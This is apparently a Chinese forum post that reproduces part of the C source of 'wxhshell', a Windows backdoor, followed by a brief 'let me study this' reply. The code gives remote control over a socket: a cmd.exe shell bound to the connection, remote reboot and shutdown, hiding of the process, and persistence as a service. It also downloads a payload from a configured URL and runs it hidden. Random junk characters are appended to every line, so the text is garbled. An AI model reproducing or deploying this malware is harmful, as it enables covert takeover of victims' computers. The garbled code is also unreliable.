  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y8YsS4E^Q  
  else 2"D4q(@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7qqzL_d>  
  } 9"#C%~=+  
  else { qur2t8gnxq  
UF-&L:s[  
    switch(cmd[0]) { e@P(+.Ke  
  /4T6Z[=s  
  // 帮助 35l%iaj]G5  
  case '?': { kt6)F&;$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DQGrXMpV0  
    break; q8P&rMwy  
  } {&+M.Xn  
  // 安装 X):7#x@uy  
  case 'i': { M P8Sd1_=  
    if(Install()) |$\K/]q -  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uH*6@aYPo  
    else NK qI x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P")I)> Q6  
    break; 3Y Mqp~4  
    } QF/ULW0G!  
  // 卸载 pVc+}Wzh  
  case 'r': { uE.BB#  
    if(Uninstall()) jJIP $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X\`']\l  
    else 8?iI;(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &{e ]S!D  
    break; H$Kc~#=  
    } nF'YG+;|@  
  // 显示 wxhshell 所在路径 <8}FsRr;J  
  case 'p': { F `7 v  
    char svExeFile[MAX_PATH]; nYSe0w  
    strcpy(svExeFile,"\n\r"); >Lo\?X~  
      strcat(svExeFile,ExeFile); l7g'z'G  
        send(wsh,svExeFile,strlen(svExeFile),0); ,<IomA:q4  
    break; %rrA]\C'  
    } # ][i!9$  
  // 重启 b*Y Wd3  
  case 'b': { Zp)=l Td  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PcC@}3  
    if(Boot(REBOOT)) jRjeL'"G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T3fQ #p  
    else { (6$ P/k8  
    closesocket(wsh); !p+54w\ 2  
    ExitThread(0); I(^0/]'  
    } KhND pwO"  
    break; ir<e^a  
    } qt}M&=}8Q  
  // 关机 n725hY6}<l  
  case 'd': { To(I<W|{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #DgHF*GG+>  
    if(Boot(SHUTDOWN)) 5hmfdj6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +4-T_m/W/  
    else { o#p%IGG`  
    closesocket(wsh); @[lMh9`  
    ExitThread(0); _CHzwNU  
    } 0o+Yjg>\~8  
    break; f(pq`v^-n  
    } b;b,t0wS  
  // 获取shell I6 ?(@,  
  case 's': { k^Qf |  
    CmdShell(wsh); M/6Z,oOU  
    closesocket(wsh); xoo,}EY  
    ExitThread(0); /-p!|T}w  
    break; D#LV&4e>.E  
  } ^i%S}VK  
  // 退出 SyVGm@  
  case 'x': { CIIjZ)T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0FOB5eBR  
    CloseIt(wsh); d[_26.  
    break; 83c2y;|8  
    } &MSU<S?1  
  // 离开 ZHK>0>;  
  case 'q': { ]QaKXg)3q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7,SQz6]  
    closesocket(wsh); !vnC-&G  
    WSACleanup(); F(hPF6Zx(  
    exit(1); a%r!55.   
    break; Q7uJ9Y{X  
        } w6s[|i)&  
  } 6&x\!+]F8  
  } AfA"QCyO  
W,@ F!8  
  // 提示信息 `xzKRId0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wGti |7Tu*  
} z&gma Ywq  
  } >T[/V3Z~K  
<;Hb7p3N  
  return; vb=]00c  
} =R=V  
-{0Pq.v  
// shell模块句柄 !Axe}RD'  
int CmdShell(SOCKET sock) WhW}ZS'r  
{ (C. $w  
STARTUPINFO si; )5b_>Uy  
ZeroMemory(&si,sizeof(si)); 9F807G\4Qt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T!H(Y4A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rL-R-;Ca  
PROCESS_INFORMATION ProcessInfo; h*VDd3[#  
char cmdline[]="cmd"; 1)= H2n4)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %f'pAc|#  
  return 0; 5$ =[x!x  
} sLA.bp.O  
\$_02:#  
// 自身启动模式 zls^JTE  
int StartFromService(void) ~ =u8H  
{ WVeNO,?ytS  
typedef struct hA ){>B<;  
{ :=B.)]F.)  
  DWORD ExitStatus; 9W=(D|,,  
  DWORD PebBaseAddress; ~Fb@E0 }!  
  DWORD AffinityMask; G Uu8 N  
  DWORD BasePriority; QKP #wR  
  ULONG UniqueProcessId; 9YI@c_1 Q  
  ULONG InheritedFromUniqueProcessId; f$>_>E  
}   PROCESS_BASIC_INFORMATION; XdJD"|,h  
c6F?#@?   
PROCNTQSIP NtQueryInformationProcess; dLYM )-H`>  
9\Gk)0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n=-vOa%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ug]2wftlQ  
Y)k"KRW+  
  HANDLE             hProcess; c $1u  
  PROCESS_BASIC_INFORMATION pbi; 9C \}bT  
G T~rr*X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rS>.!DiYr,  
  if(NULL == hInst ) return 0; yr},pB  
"=Z=SJ1D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fL| 9/sojz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g R!hN.I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -Cvd3%Jje  
jlb8<xIC]  
  if (!NtQueryInformationProcess) return 0; WblH}  
(72%au  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Mc c%&j  
  if(!hProcess) return 0; L<dh\5#p9Y  
9 5!xJdq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J PTLh{/  
EJ {vJZO  
  CloseHandle(hProcess); nP*DZC0kE&  
O_ r-(wE4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uhvy 2}w  
if(hProcess==NULL) return 0; r } Wdj  
<!t;[ie?y  
HMODULE hMod; ;LgMi5dN  
char procName[255]; w)<.v+u.Y  
unsigned long cbNeeded; roZn{+f  
B[mZQ&Gz`a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }{:Jj/d p  
bo/U5p  
  CloseHandle(hProcess); alRz@N  
0<uL0FOT  
if(strstr(procName,"services")) return 1; // 以服务启动 I[A<e]uK  
elM<S3  
  return 0; // 注册表启动 lrPIXIM  
} vZQraY nJ  
I5j|\ /Ht  
// 主模块 jKcl{',  
int StartWxhshell(LPSTR lpCmdLine) .HTRvE`X  
{ iPCn-DoIS  
  SOCKET wsl; 0 {d)f1  
BOOL val=TRUE; pbh>RS=ri  
  int port=0; cC9Zc#aK  
  struct sockaddr_in door; ~Q^.7.-T  
OtAAzc!dQ  
  if(wscfg.ws_autoins) Install(); Z!q$d/1  
n2o)K;wW+  
port=atoi(lpCmdLine); uYO$gRem  
fM& fqI  
if(port<=0) port=wscfg.ws_port; p1GP@m,^n0  
~"bBwPI  
  WSADATA data; '4GN%xi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bWp)'mx5u  
?;w`hA3ei  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t\:=|t,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SPe%9J+  
  door.sin_family = AF_INET; |d\1xTBLp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }]1C=~lC  
  door.sin_port = htons(port); C!K&d,M  
jc32s}/H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x*j eCD,  
closesocket(wsl); 25 U+L  
return 1; 1uyd+*/(xP  
} b5~p:f-&4B  
.i;?8?  
  if(listen(wsl,2) == INVALID_SOCKET) { D{6BX-Dw.  
closesocket(wsl); Ke[`zui@?  
return 1; $Ups9pQ  
} :v45Ls4J  
  Wxhshell(wsl); ~4#D G^5  
  WSACleanup(); 6c>:h)?  
+s7w@  
return 0; 71IM`eL=ED  
h*hkl#  
} 9 %Vy,  
19[.&-u"  
// 以NT服务方式启动 {QN 5QGvK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5|}u25J  
{ b!/-9{  
DWORD   status = 0; tr A ^JY  
  DWORD   specificError = 0xfffffff; lN"@5(5%  
jW^]N$>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A&ceuu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZBH^0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *6}'bdQbNP  
  serviceStatus.dwWin32ExitCode     = 0; SpIiMu(  
  serviceStatus.dwServiceSpecificExitCode = 0; t,A=B(W  
  serviceStatus.dwCheckPoint       = 0; Jh4pY#aF  
  serviceStatus.dwWaitHint       = 0; mYk~ ]a-  
LF{8hC[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cUw$F{|W  
  if (hServiceStatusHandle==0) return; zlkW-rRkR  
&tiJ=;R1  
status = GetLastError(); n b*`GE  
  if (status!=NO_ERROR) yYTOp^  
{ <&((vrfa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k O.iJcZg  
    serviceStatus.dwCheckPoint       = 0; `4Fw,:+e  
    serviceStatus.dwWaitHint       = 0; NE &{_i!  
    serviceStatus.dwWin32ExitCode     = status; qJ~fEX  
    serviceStatus.dwServiceSpecificExitCode = specificError; o>]z~^c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tHM0]Gb}  
    return; oykb8~u}}  
  } JZ> (h  
(*T$:/zI S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SUvrOl   
  serviceStatus.dwCheckPoint       = 0; [{>1wJ Pdj  
  serviceStatus.dwWaitHint       = 0; Zv8GrkK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r&F 6ZCw  
} ^oE#;aS  
{=U*!`D  
// 处理NT服务事件,比如:启动、停止 ZC^NhgX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]$-<< N{}'  
{ CZ{7?:^f  
switch(fdwControl) &2ty++gC  
{ )tS;gn  
case SERVICE_CONTROL_STOP: {#pw rWG  
  serviceStatus.dwWin32ExitCode = 0; 8WKY 4nkj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lO0}  
  serviceStatus.dwCheckPoint   = 0; wL>;_KdU`  
  serviceStatus.dwWaitHint     = 0; ]8'PLsS9<w  
  { ##alzC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T_9o0Qk  
  } s5*HS3D  
  return; 8NJT:6Q7l  
case SERVICE_CONTROL_PAUSE: EiZa,}A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @a 7U0$,O#  
  break; {r5OtYmpR  
case SERVICE_CONTROL_CONTINUE: AYp~;@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G9GLRdP  
  break; V"}Jsr  
case SERVICE_CONTROL_INTERROGATE: :V_UJ3xf  
  break; !*?9n ^PaF  
}; ip1gCH/?_+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Ml5QO$*.q  
} cz|?j  
MY}K.^ 4^  
// 标准应用程序主函数 NBLjBa%eL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ki1j~q  
{ *D9H3M[o#  
7lKatk+7K  
// 获取操作系统版本 }WBHuVcZG  
OsIsNt=GetOsVer(); Bx5kqHp^1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dT (i*E\j  
6}|h  
  // 从命令行安装 T4[/_;1g  
  if(strpbrk(lpCmdLine,"iI")) Install(); e,W,NnCICj  
,@Kn@%?$  
  // 下载执行文件  Q7tvpU  
if(wscfg.ws_downexe) { 9b@yDq3hQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F!*GrQms  
  WinExec(wscfg.ws_filenam,SW_HIDE); t% <y^Wa=  
} ,(f W0d#  
j0(jXAc;UB  
if(!OsIsNt) { ;P/ 4.|<  
// 如果时win9x,隐藏进程并且设置为注册表启动 8%xBSob{j  
HideProc(); KeXt"U  
StartWxhshell(lpCmdLine); n+i=Ff  
} l\uNh~\  
else PrA(==FX/  
  if(StartFromService()) ;y50t$0  
  // 以服务方式启动 ^Xu4N"@  
  StartServiceCtrlDispatcher(DispatchTable); !]RSG^%s{  
else f*9O39&|  
  // 普通方式启动 Fop +xR,Z  
  StartWxhshell(lpCmdLine); P|]r*1^5  
bX` Gv+  
return 0; Uqy/~n-v<  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八